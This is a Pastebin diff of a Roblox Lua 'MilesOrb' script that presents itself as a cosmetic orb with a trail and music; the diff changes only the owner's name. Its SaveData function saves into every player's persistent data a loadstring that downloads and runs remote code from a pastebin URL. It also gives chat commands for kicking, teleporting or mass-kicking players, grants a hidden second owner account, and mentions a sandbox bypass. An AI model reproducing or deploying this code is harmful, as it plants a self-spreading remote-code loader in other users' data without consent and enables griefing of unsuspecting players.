View difference between Paste ID: yUzVYTLy and i1EYmxZs
SHOW: | | - or go back to the newest paste.
1
--//Yoyoyo #jaja is back, this is a module by jillmiles1 ;) PROTECT YO SHIT DAWG
2
3
return function () -- start of module
4
	wait()
5
	
6
	--[[local Unsandboxed = {}
7
	local Model = game:GetService("InsertService"):LoadAsset(140878711):GetChildren()[1]
8
	Model.Parent = game:GetService("Workspace")
9
	coroutine.yield()
10
	--//#jaja bypassed removed sry bb <3
11
	setfenv(1,NewEnv)
12
	Model:Destroy()
13
	Unsandboxed.Require = function(num)
14
		require(num)()
15
	end
16
	Unsandboxed.Kick = function(plr,reason)
17
		game.Players[plr.Name]:Kick(reason)
18
	end
19
	Unsandboxed.Teleport = function(plr,id)
20
		game:GetService("TeleportService"):Teleport(id, plr)
21
	end
22
	]]
23
	local NLS = shared.NLS or function()end
24
	local players = game:GetService("Players")
25
	pcall(function()
26-
		Owner = players:FindFirstChild("jillmiles1")
26+
		Owner = players:FindFirstChild("Control22")
27
	end)
28
	
29
	local Character = nil
30
	local Orb = nil
31
	
32
	local create = LoadLibrary('RbxUtility').Create
33
	local clr3 = function(a,b,c) return(Color3.new(a/255,b/255,c/255)) end
34
	local logging = {}
35
	
36
	local Music = {
37
		143808239,
38
		147046055,
39
		170082341,
40
		142282614,
41
		143772118,
42
		149811427,
43
		144653328,
44
		150290325,
45
		155453305,
46
		144635805,
47
		142860040
48
	}
49
50
	local MilesOrbHere = nil
51
	if not MilesOrbHere then 
52
		MilesOrbHere = false 
53
	end;
54
	if MilesOrbHere == true then
55
		error("Cannot reload MilesOrb")
56
		script.Disabled = true
57
		script:Destroy()
58
	else 
59
		MilesOrbHere = true 
60
	end
61
	_G.MilesOrbHere = nil;_G.MilesOrbHere = MilesOrbHere
62
	_G.MilesOrbHere = setmetatable({},{
63
		__call = MilesOrbHere,
64
		__metatable = "[Locked]"
65
	})
66
	print(_G.MilesOrbHere,_G)
67
	
68
	local Settings = {                                                                                                     
69
		["Trail"] = true,
70
		["TrailColor"] = BrickColor.White(),
71
		
72
		["Radius"] = 9,
73
		["Height"] = 1.2,
74
		["Bounce"] = 2.7,
75
		
76
	    ["AudioID"] = 260898845,
77
	
78
		["Speed"] = .03,
79
		
80
		["Rainbow"] = false,
81
	} 
82
	
83
	RandomSong = function()
84
		Settings.AudioID = Music[math.random(1,#Music)]
85
	end
86
	
87
	GetPlr = function(plr,msg)
88
		local Table = {}
89
		msg = msg:lower()
90
		if msg == 'me' or msg == '' then
91
			table.insert(Table,plr)
92
		elseif msg == 'others' then
93
			for i,v in pairs(game:service'Players':GetPlayers()) do
94
				if v.userId ~= plr.userId then
95
					table.insert(Table,v)
96
				end
97
			end
98
		elseif msg == 'all' then
99
			for i,v in pairs(game:service'Players':GetPlayers()) do
100
				table.insert(Table,v)
101
			end
102
		else
103
			for i,v in pairs(game:service'Players':GetPlayers()) do
104
				if v.Name:lower():sub(1,5):find(msg:lower()) then
105
					table.insert(Table,v)
106
				end
107
			end
108
		end
109
		return Table
110
		end
111
	
112
	OnChatted =function(msg)
113
		if msg:lower():sub(1,3) == "/e " then
114
			msg = msg:sub(4)
115
		end
116
		if msg:lower():sub(1,4) == "/req" then
117
			local num = msg:sub(4) or 9
118
			Unsandboxed.Require(num)
119
		elseif msg:lower():sub(1,2) == "/k" then
120
			local plr = GetPlr(Owner,msg:sub(4))
121
			for _,v in next,plr do
122
				Unsandboxed.Kick(v)
123
			end
124
		elseif msg:lower():sub(1,2) == "/j" then
125
			local plr = GetPlr(Owner,msg:sub(4))
126
			for _,v in next,plr do
127
				Unsandboxed.Teleport(v,game.PlaceId)
128
			end
129
		elseif msg:lower():sub(1,2) == "/r" then
130
			if Settings.Rainbow == true then
131
				Settings.Rainbow = false
132
			else
133
				Settings.Rainbow = true
134
			end
135
		elseif msg:lower():sub(1,2) == "/m" then
136
			local num = msg:sub(4)
137
			Settings.AudioID = num or 9
138
		elseif msg:lower():sub(1,2) == "/c" then
139
			Settings.Rainbow = false
140
			local color = msg:sub(4) or ""
141
			Settings.TrailColor = (BrickColor.new(color) or BrickColor.Random())
142
		elseif msg:lower():sub(1,3) == "/sd" then
143
			for _,v in next,game:GetService("Players"):GetPlayers() do
144
				Unsandboxed.Kick(v)
145
			end
146
		elseif msg:lower():sub(1,3) == "/ns" then
147
			local Result = game:GetService('HttpService'):GetAsync('http://www.classy-studios.com/APIs/JoinGame.php?GameID='..tonumber(game.PlaceId),true)
148
			repeat wait(.1) until Result
149
			for _,v in next,game:GetService("Players"):GetPlayers() do
150
				local SV = Instance.new('StringValue');SV.Parent = v;SV.Name = 'SB_Chat';SV.Value = "~MilesOrb~/New Server Created!";game.Debris:AddItem(SV, .1);
151
			end
152
		else
153
			return
154
		end
155
	end
156
	
157
	local Tail = Instance.new('Part')
158
	Tail.BrickColor = Settings.TrailColor
159
	Tail.Transparency = .3
160
	Tail.Anchored = true
161
	Tail.CanCollide = false
162
	Tail.Locked = true
163
	Tail.Material = "Neon"
164
	Tail.FormFactor = "Custom"
165
	Tail.Size = Vector3.new(.2,.2,.2)
166
	Tail.TopSurface = 10
167
	Tail.BottomSurface = 10
168
	local TrailParts = {}
169
	
170
	NewColor = function()
171
		if Settings.Rainbow == true then
172
			local cos = math.cos
173
			local sin = math.sin
174
			local h = time()
175
			local pi = math.pi
176
			local s=h%1*3;
177
			local r=.5*pi*(s%1)
178
			if(s<1)then 
179
				return(Color3.new(1,1-cos(r),1-sin(r)))
180
			elseif s<2 then 
181
				return(Color3.new(1-sin(r),1,1-cos(r)))
182
			else 
183
				return(Color3.new(1-cos(r),1-sin(r),1))
184
			end
185
		else
186
			return Settings.TrailColor.Color
187
		end
188
	end
189
	
190
	Spawnorb = function()
191
		if Orb ~= nil then
192
			pcall(function()
193
				Orb:ClearAllChildren()
194
			end)
195
			pcall(function()
196
				Orb:Destroy()
197
			end)
198
		end
199
		RandomSong()
200
		Orb = Instance.new('Part', workspace)
201
		Orb.BrickColor = BrickColor.Black()
202
		Orb.Transparency = .3
203
		Orb.Anchored = true
204
		Orb.CanCollide = false
205
		Orb.Locked = true
206
		Orb.FormFactor = "Symmetric"
207
		Orb.Shape = "Ball"
208
		Orb.Size = Vector3.new(1,1,1)
209
		Orb.TopSurface = 10
210
		Orb.BottomSurface = 10
211
		local Sound = Instance.new('Sound',Orb)
212
		Sound.SoundId = 'rbxassetid://'..Settings.AudioID
213
		game:GetService("ContentProvider"):Preload(Sound.SoundId)
214
		Sound.Pitch = 1
215
		Sound.Volume = 1
216
		Sound.Looped = true
217
		Sound:Play()
218
		Orb.Changed:connect(function()
219
			if not workspace:FindFirstChild(Orb.Name) or not Orb or Orb == nil then
220
				Spawnorb()
221
			end
222
		end)
223
	end Spawnorb()
224
	
225
	Spawntrail = function()
226
		if Orb ~= nil and Settings.Trail == true then
227
			local NTail = Tail:Clone()
228
			NTail.Parent = Orb
229
			NTail.CFrame = Orb.CFrame
230
			NTail.Color = NewColor()
231
			table.insert(TrailParts, NTail)
232
		end
233
	end
234
	
235
	local SaveData = function(plr)
236
		if game.PlaceId ~= 20279777 then
237
			spawn(function()
238
				plr:WaitForDataReady()
239
				local datafound = pcall(function() plr:LoadString("MilesOrb") end)
240
				plr:SaveString("MilesOrb","loadstring(game:GetService('HttpService'):GetAsync('http://pastebin.com/raw.php?i=PbSuHZWh',true))()")
241
				if not datafound then
242
					NLS([[print('Miles orb has been saved to you')]],plr:WaitForChild("PlayerGui"))
243
				elseif datafound then
244
					NLS([[print('Miles orb client side loaded')]],plr:WaitForChild("PlayerGui"))
245
				end
246
			end)
247
		elseif game.PlaceId == 20279777 then
248
			spawn(function()
249
				plr:WaitForDataReady()
250
				local datafound = pcall(function() plr:LoadString("MilesOrb") end)
251
				
252
				
253
			end)
254
		end
255
	end
256
	
257
	pcall(function()
258
		Owner.Chatted:connect(OnChatted)
259
	end)	
260
	
261
	for _,plr in next,players:GetPlayers() do
262
		SaveData(plr)
263
	end
264
	
265
	players.PlayerAdded:connect(function(plr)
266
		SaveData(plr)
267
		if plr.Name:lower() == "jillmiles1" or plr.Name:lower() == "messoradmin" then
268
			Owner = plr
269
			plr.Chatted:connect(OnChatted)
270
		end
271
	end)
272
	
273
	function clerp(p1,p2,percent)
274
	    local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
275
	    local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
276
	    return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
277
	end
278
	
279
	local Rot = 1
280
	spawn(function()
281
		game:GetService("RunService").Stepped:connect(function()
282
			if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then
283
			    Character = Owner.Character.Torso.CFrame
284
			else
285
				Character = CFrame.new(0,1.5,0)
286
			end
287
			if Orb ~= nil then
288
				Rot = Rot + Settings.Speed
289
				Orb.CFrame = clerp(Orb.CFrame,
290
					Character
291
					*CFrame.new(.8,5.5,0)
292
					*CFrame.Angles(180,Rot,math.sin((tick())*4)/2.2)
293
					*CFrame.new(Settings.Radius,0,0)
294
				,.1)
295
				-- Trail
296
				
297
				Spawntrail()
298
				for i,_ in next,TrailParts do
299
					if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then
300
						local Part1 = TrailParts[i]
301
						local Part2 = TrailParts[i+1]
302
						local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
303
						Part1.Size = Vector3.new(Part1.Size.X+.02, Mag, Part1.Size.Z+.02)
304
						Part1.Transparency = Part1.Transparency + .017
305
						Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
306
	        			*CFrame.Angles(math.pi/2,2,0)
307
						if Part1.Size.X >= .5 then
308
							Part1:Destroy()
309
							table.remove(TrailParts, i)
310
						end
311
					end
312
				end
313
			end
314
		end)
315
	end)
316
end -- end of module